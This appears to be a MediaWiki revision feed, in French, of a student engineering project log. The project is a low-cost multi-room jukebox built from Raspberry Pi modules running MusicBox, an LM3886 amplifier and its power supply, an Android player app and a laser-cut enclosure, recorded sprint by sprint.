[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par les bobines, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffit de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27120</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27120"/>
				<updated>2016-02-13T15:03:23Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Amplificateur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
